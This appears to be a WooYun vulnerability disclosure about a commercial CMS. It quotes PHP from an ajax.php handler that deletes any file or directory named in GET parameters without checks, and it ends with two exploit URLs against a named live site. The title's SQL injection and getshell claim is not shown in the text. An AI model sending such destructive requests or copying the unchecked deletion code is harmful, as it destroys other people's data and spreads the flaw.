WooYun.org

 WooYun: 某超大型商业CMS高危通用SQL注射+Getshell（涉及500强、工业、国企、电商、酒店集团、服务业等等领域） 

<?
include("./title.php");
using('System.Class.incActions');
getGlobalVars();
switch($_REQUEST['act']){
	case 'review':
		echo getReviewList();
		break;
	//...
	case 'delFile'://删除文件
		echo delFile();
		break;
	//...
}
function delFile(){
	if($_GET['type'] == 'file'){ //删除文件
		$file = $_GET['dir'].'\\'.$_GET['name'];
		$file=iconv('utf-8','GBK',$file);
		if(file_exists($file)){
			if(unlink($file)){
				echo "文件删除成功！";
			}
			else{
				echo "文件删除失败！";
			}
		}
		else{
			echo "文件不存在！";
		}
	}
	elseif($_GET['type'] == 'dir'){ //删除目录
		//先删除目录下的文件：
		$dir = $_GET['dir'].'\\'.$_GET['name'];
		$dir = iconv('utf-8','GBK',$dir);
		$dh=opendir($dir);
		while ($file == readdir($dh)) {
			if($file!="." && $file!="..") {
				$fullpath=$dir."/".$file;
				if(!is_dir($fullpath)) {
					unlink($fullpath);
				} else {
					deldir($fullpath);
				}
			}
		}
		closedir($dh);
		//删除当前文件夹：
		if(rmdir($dir)) {
			echo "文件夹删除成功！";
		}
		else{
			echo "文件夹删除失败！";
		}
	}
}

删目录：type=dir
删文件：type=file

http://www.elongtian.com/ajax.php?act=delFile&type=dir&name=要删除的目录名
http://www.elongtian.com/ajax.php?act=delFile&type=file&name=要删除的文件名